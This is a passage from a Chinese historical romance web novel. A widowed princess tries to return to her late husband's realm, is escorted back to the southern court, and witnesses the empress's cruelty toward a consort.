另一种情况,就是陛下不愿意出兵相助,命他们立刻送长公主回朝。不管是哪一种情况,从袁煦那一道急报从汉水大营出发开始,长公主就注定回不去儿子身边了。
此局无解,所以袁綦也不知道能怎么劝慰,半晌,从腰上解下了佩剑,双手呈上,递给了明绰。明绰一愣,抬起眼睛看着他:“这是……?”
“这是当年末将去长安,大燕天子所赐鸿鸣剑。”袁綦小心看着她的脸色,“长公主身遭离乱,身边连一件信物都没有,末将想着……还给长公主,也算是个念想。”
明绰一下子说不出话来,看着他手里那柄剑,眼泪夺眶而出。
她想起来了,那时候乌兰徵误会她年少时的情郎是袁家人,有意留住了袁綦不让他随兄长觐见,没招了就赐了他一柄剑,还到她面前倒打一耙是袁綦主动问他讨的。明绰想起旧事,没忍住笑了一声出来,笑到一半,又成了哭腔,伸手接过了剑。
是好剑。乌兰徵挺大方的,倒是也没轻慢袁綦。可是这剑怎么做信物呢?她都没见乌兰徵佩过。他的好剑太多了,成排成排地摆在剑器阁,明绰从来没有在意过。长安上下都知道陛下好剑,人人都挖空心思搜罗宝剑来赠,唯独她不以为然。
她崩溃得突如其来,却无法阻挡,已经根本顾不得袁綦还在眼前。袁綦愁得不知道怎么才好,又后悔自己这事儿做得不应该。可是也不能把话收回来,只能手足无措地跪坐在明绰面前,想安慰她,又不知道说什么好,于是语无伦次地把当日如何面见大燕陛下说了一遍,说他如何英武,如何豪杰气概……可是他越说,明绰眼前越发只浮现出乌兰徵最后那一刻无力跪倒,被人割喉的样子,她突然发起怒来,要把袁綦赶出去:“你出去!出去!”
“是……”袁綦不敢磨蹭,起了身就走,可是走到外面,听见长公主哭得这样伤心,又不放心走。门口守着的亲卫也听见长公主的哭声,你看看我,我看看你。
袁綦皱起眉头,朝他们做了个手势,让他们走,不要在这里窥探长公主的隐私。然后他自己站在了营帐前,手持斧钺,为长公主护卫。
营帐里的哭声渐渐弱了下去,然后慢慢地没有了。袁綦站得挺胸直背,动也不动,好一会儿,听到长公主唤了一声:“少将军……”
“末将在。”
“你回去吧。”
袁綦只道:“末将在这里守着,长公主安心歇息吧。”
于是明绰便没再说什么。已经过了营中宵禁的时候,整个大营一片寂静无声,只有火堆里的木柴偶尔爆出“噼啪”一声。袁煦来过一趟,见到袁綦亲自守着长公主,眼神很深地远远看了他一会儿,最终什么都没说,转头走了。
营帐里一点声音都没有,明绰已经歇下了。袁綦问了一句,是不是要从寡妇营里找两个女人来服侍,明绰也没有回答。可是没多久,便听见营帐中又传来了紧迫压抑的啜泣,像是她被梦魇住了。
袁綦不敢进去,只好在外面唤她:“长公主!长公主醒醒!”
里面马上传来倒吸一口气的声音,然后便是寂静。明绰睁开眼,在黑暗中伸出手,又触到了袁綦交给她的那把剑。剑鞘上冰冷的纹饰抵在她的手心,却带来一种抓握住现实的安定感。乌兰徵临死前木然的眼神从她眼前消散了,她转过头,看见营帐门帘露出了一道细缝,外面的火光映出了袁綦的侧脸。
“少将军还在?”
“末将在。”袁綦让她放心似的。
这一次,她什么都没说。袁綦在一片寂静里抬起头,看到了天上一轮皓月。他就这样守着,发现长公主睡得不踏实,听着像是睡下了,不到一个时辰便会醒。也不知道这段日子,她是不是都是这样过的。是因为失去了丈夫的悲痛,还是流离失所,孤身一人,不得不这样警觉?
到后半夜,她醒一次,就轻轻地唤一声:“少将军?”
袁綦便答:“末将在。”
然后便是或长、或短的沉默。
“少将军?”她的声音不那么确定了,似乎只是试探。
但袁綦的回答没有犹豫:“末将在。”
然后她勉强多睡了一会儿,再醒来,已是一片绝对的黑暗。营帐的帘外看不到他的侧脸,外面的火光也熄灭了。
“少将军?”
太轻了,外面没有回答。明绰犹豫了片刻,又叫了一遍:“袁綦?”
还是沉默。明绰轻轻呼出一口气,翻过身,闭上
眼睛,强迫自己重新入睡。
然后帘外传来了一个同样轻的声音:“我在。”
第118章
明绰依然没有死心,建康那边还没有回复,明绰日日求见袁煦,左一句“伯彦”,右一句“宜华姐姐”,很快就把袁煦逼得不敢见她。他人躲了起来,就让袁綦整日相陪,陪着做什么不重要,重要的是千万别让长公主再来谈借兵的事情了。
袁綦抓耳挠腮,总算想出来一句能劝慰长公主的说辞:“说不定陛下会答应我们暗中行事,送长公主回去呢?”
明绰没忍住笑出来,有些无奈地看着他,那眼神像是在问他自己信不信。
这是绝对不可能的。段知妘和乙满已经借着新帝的名义摁死了萧皇后谋逆的罪名,她暗中回到大燕,若没有南朝兵马相助,唯一的胜算就全都押在了从前那些忠于她的人身上。可是局势瞬息万变,人心也是瞬息万变。她信任方千绪、石简等人,萧盈没有任何信任他们的理由。经历了宣平门之祸,萧盈是不会放手让她去这样冒险的。
袁綦底气不足,自己也不好意思,揪了地上一棵草在手里揉。天气冷,草本就是枯的,让他一揉,全碎了。
他小声地,似是不好意思,又说:“我也不想看长公主冒这样的风险。”
明绰转过头看了他一眼。他奉命陪她散心,就骑着马往没人的地方走,找了个有水的地方,就坐着,也不知道走到哪儿了,总之是离袁煦远远的。后面跟了一小队人,远远地护卫着,不敢靠近。
明绰突然道:“你阿兄要直进长安,不是圆了你的心愿吗?”
袁綦一愣,抬起头看着她:“什么?”
“我听说少将军十三岁就指着黄河发誓,有朝一日踏破长安,再不让大雍女子和亲……”
“诶!”袁綦脸红了,“我不是……哎呀!”
明绰笑起来。当时她在军中打听这支队伍的主将是谁,就有小卒用充满敬仰的语气跟她说了袁綦这番豪言壮语。这事儿显然已经传遍了,但是袁綦非常不好意思,都十三年了,他真的上过了战场,也见过了乌兰徵,知道了那时的话有多么天真,就不喜欢别人还老传这个。
“大燕天子用兵如神,手下还有良将如云,”袁綦又揪了一棵草,“什么踏破长安的话,都是我那时候不知天高地厚。长公主就别臊我了。”
可是乌兰徵不在了,当年的良将也不剩下几个了。明绰的笑容微微散去一些,没往下说。
“长公主,”袁綦问她,“就真的这么不想回建康吗?”
明绰看着他:“你想说什么?”
“没有……”袁綦继续揪手里的草,“就是,我阿嫂一直记挂你。以为你出事儿了,阿嫂可伤心了……”
明绰心里一软,温声道:“那你就回去告诉她,我没事,让她不要担心,我心里也记挂着她。”
“我的意思是,”袁綦组织了一下语言,“建康才是长公主的家,陛下也是长公主的家人啊,不是只有大燕那边……”
明绰懒得跟他说:“你又没有孩子,你不懂。”
袁綦就不敢劝了,整个人有点儿皱巴巴的样子,蔫在那儿,“哦”了一声。
他闭嘴了,明绰反而跟他一样,也去揪枯草在手里揉。他不提还好,一提起桓宜华,明绰就阴阳怪气地说了一句:“你侄子倒是有好几个了。”
袁綦一听她那个话头,干巴巴地赔了个笑,不敢往下接。
袁煦儿子是好几个,但不是个个由桓夫人所出。当年第一次发现袁煦在外面有女人的时候,桓宜华还不肯依,一路闹到了萧盈那里。这袁、桓两家的婚事是萧盈一手撮合的,袁煦这样胡闹,萧盈自然是要罚的。所以袁煦也消停了两年,可惜江山易改本性难移,他也没跟人家真的断,那苻家女后来肚子大了,袁煦就光明正大地纳进府了。
桓宜华没有再闹,可能也是觉得老拿这样的事情去烦扰陛下太丢人了。袁家也好,桓家也好,都劝她大度。袁煦是陛下眼前第一人,两姓一家,都指着他平步青云,别真的为了这种事儿毁了前程。
这些年里,明绰很少有机会跟桓宜华通信,但是洛阳有大雍的使馆,时不时地会有建康那边的人过来。这些事情都传到洛阳了,可想而知桓宜华所受的委屈。
明绰想想就来气,偏偏现在有求于人,不能跟袁煦发作。新仇旧怨一起涌上心头,顺手就把手里的枯草扔到了袁綦身上,怒道:“你别想着我回建康,我要是回去了,第一件事就是给你阿嫂撑腰!袁煦可没好果子吃!”
袁綦躲了一下,还笑:“其实阿嫂跟苻氏和李氏相处得挺好的……”
明绰眼睛睁大了。苻氏她听说过,怎么还有个李氏?袁綦一看不对,赶紧闭上了嘴。
萧皇后椒房专宠,遣散了所有后宫的事情,连建康都传遍了。建康也因此掀起了一股“善妒之风”,世家大族里不少夫人都理直气壮地开始驱逐妾室,说起来那就是,“人家大燕天子都能做到一心一意,你是什么东西,要这么多女人?”
这事儿一度闹得好多人上书陛下,要正夫妻之纲,训妇人之德,不许她们这样无法无天。
明绰冷哼一声,对袁綦也生起气来。他自小是桓宜华照顾的,桓宜华那会儿整天“二郎”“二郎”操不完的心,说是长嫂如母一点儿也不为过,但他居然也不站在阿嫂那边。
两人都不说话,一时就只有风在吹。明绰把脸转了个方向,让风把她的碎发都往脑后拂。袁綦就在坐在旁边,长久而无声地看着她。明绰知道他在看,也不说话,任他看。直到袁綦自己挪开了视线,下定了决心一般,突然从怀中取出了一枚小小的令牌,放进了明绰手中。
明绰一愣。木牌上刻了一个“綦”字,明显是他的私令。
“长公主要是心意已决,就走吧。”袁綦低着头,别别扭扭地指了指身后跟来的那一小队人,“他们会一路护送。有了这令牌,至少大雍这边的关隘不会阻拦。日夜兼程,三四天就能到洛阳了。”
明绰一时还是没有反应过来她听到了什么,只是看着他。袁綦避着她的眼睛,难过都在脸上,藏都藏不住。他真的不愿意送长公主回去,可是她这样不开心,他也不能什么都不做。
“袁煦已经传信建康了,”明绰问他,“我走了,你怎么交代?”
“交代嘛……就是……”袁綦龇了龇牙,又伸手挠头。可是挠了半天也没挠出个主意来,只好把手一摊,“大不了就是父亲再抽我一顿。”
他闯祸也不是一天两天了,陛下总不至于杀了他——袁綦想到这里心里突然打了个突,陛下会吗?
可是长公主还这么看着他,袁綦心里突然升出一股豪气,觉得自己一根脖子简直是精钢铁柱,无畏刀剑。
“长公主只管走,不用管我!”
明绰便没再说什么,手中握紧了那枚令牌,站起来就上了马。袁
綦也跟着站起来,吹了声口哨,跟着他们出来的那十几个人立刻围了上来。袁綦不需要多说什么,他们便纷纷对少将军行礼,上马准备。
明绰骑在马上,这才想起该对袁綦说些什么,可是真的四目相对时,她喉中却又哽住了似的,半晌,也只有一句:“多谢。”
袁綦努力挤出了一个微笑:“保重。”
明绰点了点头,调转马头要走,袁綦又跟上来一步,又道:“若是石简变节,长公主切记派人回来,我一定去洛阳救你!”
明绰笑了,只道:“我用不着你救!”话音未落,马已经往外跃了出去。
袁綦往旁边让了让,看着马蹄扬起了一片尘埃。他张开嘴,又想喊一句。那鸿鸣剑长公主没有拿上,可是她已经跑得远了。袁綦失落地垂下了头,突然自嘲似的笑了笑。她就要回去了,大燕有的就是她与那位陛下的信物,哪里还用得着他献这个殷勤呢?
明绰身后的大氅被风鼓起,拖在了马背上,像一笔意犹未尽的墨迹,浓重地涂在了他的视野里,和十三年前的交叠到了一起。
袁綦站在原地,突然意识到,这是他第二次送她离开了。
只是这一次,他没能把长公主送出去多远。
袁綦独自一人回到大营的时候,袁煦就知道不好了。他一点儿时间也没有浪费,马上点了人跟着他追出去。袁綦一路跟在兄长身边劝,还没说几句,兄长就直接甩了一封信过来,当头便是朱笔所书“敕征西都督袁煦”几个字。
“可是……”他愣在那里,心里只有一个念头,怎么会这么快?从这里到建康八百多里,有山又有水,一道军令来回得半个多月,但是从袁煦传信到今日只有十天,只可能是日夜不停,换马疾驰,用最极限的速度传来了这封信。
“陛下有旨,”袁煦翻身上马,“立刻护送东乡公主回朝,不得延误。”
袁綦已经看完了那句简短而笃定的话。袁煦摇了摇头,似是还想跟弟弟说些什么,但是看着他这样失魂落魄的表情,还是咽了下去。他不需要问他长公主往哪个方向去了,他知道她想去哪里。所以他狠狠地在马臀上抽了一下,纵马而去。
袁煦在当天晚上就追上了明绰,此时她甚至还没有抵达第一个需要她动用令牌的城关。见到袁煦策马而来的时候她就知道了是怎么回事,明绰毫不犹豫地抛下了护卫她的人,纵马狂奔。
袁煦沉沉地叹了口气,似是十分不愿意到这个地步,但还是下了令:“拦住她。”
手下的人得了令,稍微散开,分了几路将她围住。骑术更佳的已经绕到了她面前,甚至掏出了绊马索。袁綦急得只是叫:“阿兄!”
袁煦理都不理他,眼睛牢牢地盯着前面,只道:“不会伤了她!”
果然,他们也不单使绊马索,有人追上去,以彩帛迷住了马眼,先把马的速度降了下来。明绰着急地想要反抗,但是马一慢,就紧接着一左一右扑上来两个人,硬是拽着马嚼子逼迫她的马停下。绊马索这才缠到马腿上,那马几乎是温顺地缓慢跪倒,一点儿没有要摔着背上的人的意思。
明绰不情不愿,却又只能下了马,站在那里,昂起头,怒视着袁煦。
“长公主恕罪。”袁煦也下了马,“陛下有旨,末将来接长公主回家。”
明绰的头发很乱,因为一路疾驰,脸也涨红了,胸膛剧烈起伏。她克制着不要哭,可是眼泪还是顺着颊边滚了下来。
她一句话说得又像威胁,又像诅咒:“我永远都不会原谅他的。”
可是袁煦还是只有那句话:“陛下已经下了旨。”
他伸出了手,似是想扶她上自己的马。但是明绰退了一步,怒道:“别碰我!”
袁煦就不动了,可是明绰环视了一圈,袁军将士们跪了一地,也阻了一地,她走不出去了。
回家……她突然含着泪笑出了声。他们这样逼她,却说是回家。
明绰深吸了一口气,用力地抹掉了脸上的眼泪,突然问:“袁綦呢?”
袁綦立刻站起来:“在。”
明绰朝他走了过来,把那枚令牌还到了他手里。袁綦嘴角动了动,想给她道个歉,可是还没说出来,明绰就用力地在他手指上握了握,似是明白他的意思,让他不必再说了。
“少将军,”她露出了一个无奈自嘲的苦笑,眼下却是一片晶莹的泪光,“带我回家吧。”
第119章
景平二十九年末,远嫁大燕十三年的东乡公主回朝。
征西都督袁煦、骠骑将军袁綦兄弟二人亲自护送入宫,长公主的辇舆才刚过承天门,萧盈已得到消息。他难得这般把心事都写在脸上,坐也坐不住。起了身,在太极殿的台阶上来回地打转。等了半刻,干脆自己走了出去,到司马门相迎。
甫一出殿,便正好看见辇舆已至,萧盈立刻疾步奔出。两位宫中女史已至辇舆前,先隔着门向长公主行了礼,这才伸手牵开绯罗门帘。
门里安安静静,东乡公主似是近乡情怯,反而不敢下辇。
萧盈脚下也顿住了,明明还有两步就到辇前,却不敢往前。辇轿中软屏夹幔,红罗裀褥,端坐其中的女子以绢扇掩面,唯见云鬓珠翠。他竟在那一瞬间升出一股异样的抽离感。好像这一切都不是真的,一定是哪里弄错了,袁煦骗了他,那个人不会是溦溦……
然后那女子放下了掩面的绢扇,明绰也看见了萧盈。
他还是太瘦了。今日迎她回宫,天子身着衮服,繁重的衣饰架在他嶙峋的肩上,腰里都是空的。他的脸倒是和记忆里别无二致,没有见老,但也不复少年时的青涩。明绰幼时觉得他如珠如玉,尚有圆润之气,是可亲近的。如今像是已经雕成了,潇潇肃朗,望之生寒。
好漫长的十三年。
两人就这样望了一会儿,谁也没说话。倒是谢皇后上前了一步,先含泪叫了一声:“东乡姐姐!”
明绰转头看向了自己的表妹。她离开健康的时候,表妹还不到十三岁,如今已是形容大改,若是乍然在路上迎面走来,她肯定认不出了。明绰难以置信似的,先叫了一声“星娥”,然后才想起来朝她微微颔首:“见过皇后。”
她们俩说了话,萧盈便回了神。终于把最后两步走完,朝着轿辇内伸出了手。谢星娥有些意外地看了萧盈一眼,然后乖觉地往旁边让了让。
明绰还是看着他,这一路积攒的情绪太强烈,也太复杂,真的见到萧盈这一刻,她反而只是沉默着,搭住了他的手,略略拉了拉身上朱锦罗裙,小心地下了辇舆。
下来站定了才行了个礼:“皇兄。”
她还未屈膝,萧盈已经伸手托住了她的手肘,把她扶了起来。然后手抚到了她肩上,隔着层层锦衣,微微加重力道捏了捏,好像要确认这具血肉之躯确实是真的又站在他眼前了。半晌,才轻声道:“平安回来就好。”
他想握一握她的手,但明绰不动声色地避让了一下,鬓上垂下的珠翠随之碰出轻微的脆响。萧盈微怔之际,明绰已经主动去牵住了谢星娥的手。姐妹两个依在一处,彼此都是泪眼潸潸。萧盈眼睑一垂,已经掩住了所有的情绪,露出了温和的笑意:“好了,别站在风里说话,进殿再叙吧。”
进了太极殿,便给袁氏兄弟行赏。重臣都在,除了桓廊与谢聿,其余大半都是生面孔,一一地重新拜过了长公主。陛下下旨,准长公主仍居上阳宫,食邑封赏皆与从前一样。一直等这套礼节走完,才进后宫,由皇后带着,去认一认宫里的人。
比起十三年前明绰刚到长安的时候,萧盈的后宫远不及乌兰徵,连上皇后才六个人,孩子就更少了。不知道是不是萧盈自己身体就不好的缘故,他的孩子也一个接一个夭折。除了平康公主,皇次子也是养到两岁多就没了。明绰跟着谢星娥回她的栖凤宫,就只见到了皇后的二女儿,崇安公主萧玉襄。
这女孩儿长得很像萧盈,今年也六岁了,被母后牵着,十分乖巧地向明绰行礼:“姨母。”
谢星娥纠正了女儿:“这是姑母。”
明绰笑了笑:“从你这儿论,确实是姨母。”
栖凤宫里的女人们都笑起来。明绰本是很喜欢小女孩儿,可是看见萧玉襄,却觉得心里说不上来的滋味儿。一个长得像萧盈的孩子。萧盈有孩子了——她当然早已知道萧盈有了孩子,但此刻还是觉得心里很不是滋味。尤其她与父亲的相似,和她这样的年纪,竟莫名地让明绰想起当年见到乌兰辉的情形,一时别扭起来,只好环视了一圈,没话找话似的问:“皇长子今日没来吗?”
谢星娥脸上的表情僵了一下。明绰并不知道她这些年过得辛苦,萧盈对她一直都是淡淡的,当年连同房都不情愿,朝臣们三催四请的,把他宠幸皇后当成了国家大事摊到明面上来说,萧盈
才不得已地来了。好不容易生下了平康公主,得了萧盈的喜欢,没想到一岁就殁了。谢星娥都觉得,能再有机会生下崇安,都是因为那个没了的女儿,萧盈对她心软了。可是崇安生下来,萧盈又没那么喜欢了,她想尽办法想要一个儿子,却总是不成。
表姐一回来,对她的女儿也是这样冷冷淡淡的,张嘴就问皇长子,谢星娥难免觉得被戳到了痛处。明绰马上察觉到,她的脸色一沉,别的嫔妃、宫人们就都一下子提心吊胆起来。她隐隐意识到了什么,但谢星娥已经调整了一下表情,遮掩了过去:“皇长子身体也不好,一向是不见外人的。姐姐见谅。”
明绰眉头轻轻一扬,又道:“敬夫人想必也忙于照顾皇长子,来不了了?”
谢星娥还是那副笑容:“姐姐猜得真准。”
明绰点了点头,又问:“裴贵嫔呢?”
“姐姐不知道,”谢星娥面不改色,“二皇子没了以后,裴氏伤心欲绝,积郁成疾。姐姐远道回来,是大喜的日子,我不叫她来冲撞了姐姐。”
“哦,也病啦?”明绰没忍住笑出了声,“这宫里怎么大人孩子都是病歪歪的?”
顿时没人敢接话,谁也不知道长公主这就是随口一说呢,还是在说皇后有问题。长公主说到底先是陛下的妹妹,然后才是皇后的表姐。后宫里这些大人孩子的“病”,陛下不问,说不定长公主要替陛下来问。谢星娥脸上那笑就有点儿挂不住了,明绰眼看着跟着的那两个妃嫔都吓得低下了头,心里就是一声了然的笑。
瞧着这两位今儿能站在这儿,多半也是因为没孩子。
她神色如常,没把谢星娥的脸色放在心上,语调轻松,只道:“你这皇后做得真是比我强。”
谢星娥不笑了:“我可比不上姐姐。”
明绰便了然地住了嘴。谢星娥控制不住萧盈,就去折腾那些女人孩子,她心里看不上,没忍住刺了两句。但论起来,萧盈后宫里好歹还有这么些人呢。从谢星娥的角度想,肯定觉得她在大燕的手段更狠辣,才能做到十年如一日的专宠。
“还有一个呢?”明绰坐下来,语气和缓了一些,不欲跟谢星娥置这个气,手指伸出来点了点,“我听说皇兄最近最宠爱的是郑美人,她总不会也病了吧?”
萧玉襄听见这句,突然叫了一声:“父皇已经不宠爱她了!”
“是吗?”明绰有意逗她似的,“父皇为什么不宠爱她了?”
但是谢星娥没让女儿说话,招手叫了保母过来,把公主抱了下去,然后才自己坐到明绰身边。皇后自己端着,不说,那两个嫔妃就七嘴八舌地跟长公主解释起来,这郑美人善歌舞,萧盈之前是有段日子挺喜欢她的。但后来大燕传来了长公主的死讯,陛下犯了旧疾,郑美人却还看不懂脸色,只想着狐媚邀宠,非要跳一支新曲子给陛下看。萧盈这才发了怒,说她对长公主一点尊重都没有,再不肯见她了。
谢星娥听这些话的时候表情特别微妙,还装模作样端起茶喝了一口,但眼角还是没藏住一丝得意。于是明绰就知道是谁让郑美人趁着那个关头去献舞了,一时听得好笑,连眼睛都眯起来了
真就这么有意思吗?明绰暗自打量着妹妹眼角那一点神采,心里只是想,星娥这些年到底是怎么过的。
“不过她呀,歌舞确实是一绝。”谢星娥拿腔拿调地放下了手里的茶,抬头看了看明绰,“姐姐若想见她,不如召她来献舞,也算是给姐姐接风洗尘了。”
哦,在这儿等着呢。
“这不好吧?”明绰不软不硬地回去,“怎么说也是皇兄的嫔妃,又不是坊间的伶人……”
“没什么不好的呀,她就是一个伺候的,陛下看得,咱们有什么看不得?”谢星娥一副不容她推拒的样子,那两个应声虫嫔妃连忙帮腔,栖凤宫里的宫人也是立刻就站起来要去请郑美人。明绰便干脆不说话了,就这么冷眼瞧着,不过半刻,郑美人就来了。
乍一眼看,确实是个美人。弱柳扶风,娇娇柔柔。给皇后和长公主行个礼,也是一副泫然欲泣的可怜模样。
“本宫听说你新作的腾旋舞是跟乌兰人学的,”谢星娥笑了笑,朝向明绰,“正好,我们都看不懂,东乡姐姐回来了,也带着我们长长见识,瞧瞧你跳得正不正宗。”
郑美人脸面微微发红,只道:“妾不敢在长公主面前献丑。”
但谢皇后显然没有给她拒绝的机会,已经让人取了舞衣来,命她换上。郑美人明显不愿意,却又不敢说不。那舞衣确实颇有乌兰人服饰的风格,颜色艳丽,裙裾更短。裙摆做成好几片散开的款式,这样跳舞时飞速旋转,就会有花瓣盛开一样的效果。但明绰看一眼就发现,乌兰人会在裙下再着衬裤,可是谢星娥给郑美人的这件没有。
郑美人换上走出来时便很别扭,一只手拉着裙子,想遮一遮自己的腿。两位应声虫嫔妃一见她的样子,都掩着唇暗笑起来。谢星娥也露出一个微笑,调整了一个更舒服的坐姿,随意地抬了抬手:“跳吧。”
立刻便有丝竹鼓乐的声音从堂中的屏风之后响起来,明绰都没有注意到皇后是什么时候安排的乐人,显然是她早已备好的。郑美人立在堂中,被所有人看着,已是忍不住泪凝于睫,她绝望地环视了一圈,不知道还能向谁求助,只能向着明绰道:“长公主,我……”
“本宫说,跳。”谢星娥微微加重了语气,“平时不是喜欢跳舞么?今天是东乡姐姐回朝的好日子,你倒来扫兴?”
明绰略一犹豫,什么都没说。谢星娥非要当着她的面来这一出,证明如今她才是建康皇宫里的主人,若替郑美人出这个头,倒是把表妹得罪了。郑美人最后看了明绰一眼,见她也没有说话的意思,只好垂下头,把屈辱咽了下去,随着鼓点跳了起来。
乌兰人的舞蹈动作大开大合,多旋转和腾跃,郑美人一动起来,身上的舞衣便什么都遮不住了。明绰这才发现,不只是下裳少了衬裤,连上衣的缝合也有问题。她只做了两个动作,就紧张地停下来,全身瑟缩着想掩住躯体,哀求道:“我再也不敢了,我再也不会去见陛下了……求皇后饶了我!”
“行了,”明绰到底还是没忍住,“瞧这起手就不像乌兰人的舞,别跳了。”
“瞧瞧,长公主不满意了,”谢星娥看着郑美人,“还不把你的招数都使出来,好好让长公主看看?”
她嘴上这样说,乐人的鼓点就敲得越急。郑美人伏在地上,只是摇头。谢星娥便又说了一遍:“跳!”
郑美人站了起来,开始继续随着鼓点和丝竹起舞,越旋越快。原本是欢快至极的舞乐,却带着一股说不出的残忍。没有人掩着嘴偷笑了,就连那两个嫔妃都有些不舒服地移开了眼睛。唯独谢星娥笑盈盈地看着,嘴角凝出了一丝冷笑。
明绰叫了一声:“够了!停下!”
可是没有人听她的,丝竹鼓乐没有停,郑美人也没有停。谢星娥甚至欢快地拍了拍手:“跳得好!接着跳!本宫不叫你停,你就不许停!”
明绰转过头看着她,发现她这开心的模样竟和小时候赢了自己一局棋的样子别无二致,仍带着少女式的天真。
明绰突然站了起来,起身就要往栖凤宫外面走。
“姐姐!”谢星娥从背后叫她,“这就走了吗?这可都是为姐姐准备的。”
“东乡长途跋涉回来,实在是累了,”明绰转过来,周全地屈膝行礼,“请皇后恕罪,容东乡告退。”
一片短暂的沉默。然后谢星娥终于抬了抬手,大发慈悲地让郑美人停了下来。她似是一下子被抽去了所有的力气,颓然地伏倒在地,哀哀戚戚地流泪,却不敢发出声音。
“那姐姐先好好休息。”谢星娥站起来,走过来亲热地握了握明绰的手,“咱们姐妹可有的聊呢。”
第120章
明绰当天晚上就听说了消息,郑美人从栖凤宫回去之后便吞金自尽了。
上阳宫没有任何表态,她才刚回来,宫里的事情本来就不该她多嘴。再加上她长途跋涉,也确实是太累。家乡重新变得陌生,建康的冬天比长安和洛阳都要湿冷,明绰当真病了一场。
现在上阳宫里伺候的人都换过了。当年被谢太后的谋反牵连了一批,剩下的大多随着长公主去了长安。宣平门又事发突然,秋桑是明绰亲眼看到为了保护乌兰晔身死,但冬青的下落如何,她根本无处知晓。如今身边围绕着的都是生面孔,故人比生面孔还让她觉得陌生,再加上身上不痛快,所以每日都是恹恹的,谁都不想见。
萧盈来了几次,都让明绰回绝了。
隔了几天便又听说,敬夫人私下在郑美人头七的时候烧纸祭奠,被皇后知道,叫去栖凤宫立了一夜规矩。
明绰此时身体已经大好了,捧了一碗热汤慢慢地喝,听见议论,就问了一句:“敬夫人同郑美人交好吗?”
正伺候她的是一个叫阴青蘅的宫人,上阳宫如今由她统管,也是个有品阶在身的女史,闻言便躬身回了一句:“不曾听说过。”
“你不用这么多礼。”明绰把手臂从狐裘下面伸出来,朝她招了招,示意她过来坐下说话,“来,同我说说敬夫人。”
萧盈的后宫之中,她只在意这位敬漪澜。扪心自问,对萧盈那点儿年少情意,到如今,早就连残灰都不剩了,旁的嫔妃来多少个她也没什么感觉,唯独当年听说他竟比自己还更快移情的痛与嫉恨还在心头。在心里存了这么多年,反而与萧盈没多大关系,成了对敬漪澜的好奇,但偏偏到今日也没见过她。
阴青蘅还是躬着身站在她身边,只道:“长公主有话,奴婢听着便是。”
明绰明白了,她很懂得规矩,不愿主动在背后议论嫔妃,便问了一句:“敬夫人很得宠吗?”
“到七年前都是有宠的,”阴青蘅果然有问必答,“现在怕是一年到头也见不到陛下一回。”
明绰微微一怔,觉得她话里有话,“七年”这个数字太准确了,显然敬漪澜不是因为年岁过去而自然失宠,而是七年前发生了某件事情。她抬头看了姿态谨肃的女史一眼,笑着放下了手里的汤碗:“你就别吊着我了,一口气说了吧,七年前怎么了?”
阴青蘅便简单地跟明绰说了一遍。这敬漪澜本是丰喜县侯宋广义献上的民间女子,此事当年卢望出使长安时便告诉过明绰了。宋广义是陛下生母孝景太后的堂侄儿,本是穷苦出身,突然撞了大运,连那位姑母的面都没见过,就捞了个侯爵。
但“丰喜县侯”是虚衔,这个地方并不存在,更无采邑可食。宋广义在建康身份尴尬,全靠着这位敬夫人在陛下身边温言软语,为他谋利。但七年前突然有人密告陛下,说这敬漪澜其实以前是宋广义的发妻,甚至已为宋广义生过一子。
此事闹得朝野震动,不少人上书,要严惩宋广义。但陛下念在他是孝景太后仅剩的亲人,轻轻放过。还说敬夫人入宫时已非完璧,此事他是知情的,并不存在欺君之说。
明绰听到这里就明白了:“但是皇长子让他们毁了。”
萧盈没追究,必然是确定萧秧是他亲子无疑,但敬夫人这个出身,肯定是没完没了的流言蜚语。若是以后皇长子要继承大统了,那他这个同母异父的宋家兄长怎么处理?让他承个“丰喜县侯”的虚衔也不像话,再封,更不像话——宋广义算计的不就是这个吗?他谄媚也就罢了,竟献出了自己的发妻,实在是令人不齿。若是让他遂了意,谁看得下去?
那么这事儿是谁捅到萧盈眼前去的,自然也不需要多问了。
明绰:“皇长子是真的身体不好吗?”
这个问题简单,但阴青蘅却犹疑着,不好回答了。明绰莫名地看着她,有点儿不耐烦了。在宫里知道谨小慎微是好事,但是这样吞吞吐吐,就是不信任她。明绰心里又是一声冷哼,只道:“皇后还真是威重。”
阴青蘅马上跪了下来:“长公主息怒,并非奴婢有意隐瞒。皇长子身子是康健的,只是与寻常孩子不同……”
“什么不同?”
阴青蘅轻声道:“他不会说话。”
明绰心里一动,多问了一句:“他是天生就这样,还是七年前那事儿以后才不肯开口了?”
阴青蘅意外地眨了眨眼,似是从来没有想过这里面有什么区别,只好回答:“这个奴婢不清楚。只是听说皇长子的性子也很古怪,这些年养在承华宫里,敬夫人从不叫他见外人。七年前的事情出了以后,敬夫人自请降为宫人,说没有资格再服侍陛下。陛下已经说了不怪罪,倒是这敬夫人心气太高了,说了不再服侍,就连陛下上了门都掩面不见。时间长了,承华宫就再无恩宠了。”
明绰心下了然:“倒是个聪明人。”
若是皇长子聪慧,她还有争的资本,以萧盈的性子,也不会坐视谢家这样毁皇长子。可偏偏萧秧是这个样子,敬漪澜若还不知进退,怕是母子二人性命都要保不住。
明绰若有所思地托住了下巴,好一会儿,又问:“你说,敬夫人和郑美人并没有什么交情?”
“敬夫人深居简出,跟谁都不来往的。”
那还非要去犯谢皇后的忌讳。
明绰轻轻地叹了口气:“皇后还没放敬夫人回去吗?”
“没有。”
“皇后都是怎么‘立规矩’的?”明绰看了一眼房中的刻漏,都快到未时了,说是昨夜就叫去栖凤宫,竟然还没放回去。
阴青蘅便低了头,也不知道是她不清楚,还是不好说。
明绰也不想追问这种事了,只道:“让人去承华宫看看,皇长子若是有什么事,回来告诉我。”
阴青蘅先是微怔,但一句话都没多说,自去安排了。
明绰身上乏力,用了饭就去睡了一觉,再醒过来的时候才听到阴青蘅来报,说承华宫里闹得厉害,皇长子因见不到母亲发了通脾气。明绰二话不说就起了身,责怪她不把自己唤醒,马上收拾了一下,亲自去了一趟。
等明绰到的时候,已经听不到里面还有人在发脾气了。只是承华宫里没有一个人认得她,戒备地把她拦在了门口。阴青蘅正要禀明她的身份,却听到殿中突然传出一个惊喜的声音:“长公主!”
这声音十分熟悉,但那宫人的脸明绰竟然一时没有认出来。她约莫四十来岁的年纪,鬓角已经有了间杂的灰发,通身打扮都气派得不得了,穿金戴银,跟承华宫里的人一看就不一样。直到她走上前,盈着热泪握住了明绰的手,明绰才难以置信地唤了她一声:“灵芝……?”
灵芝是从前谢太后身边的掌事女婢,打小跟着谢拂霜从太尉府出来的。但自从她母后当年被软禁上阳宫,灵芝就被谢维送回了太尉府,明绰后来再也没有见过她。
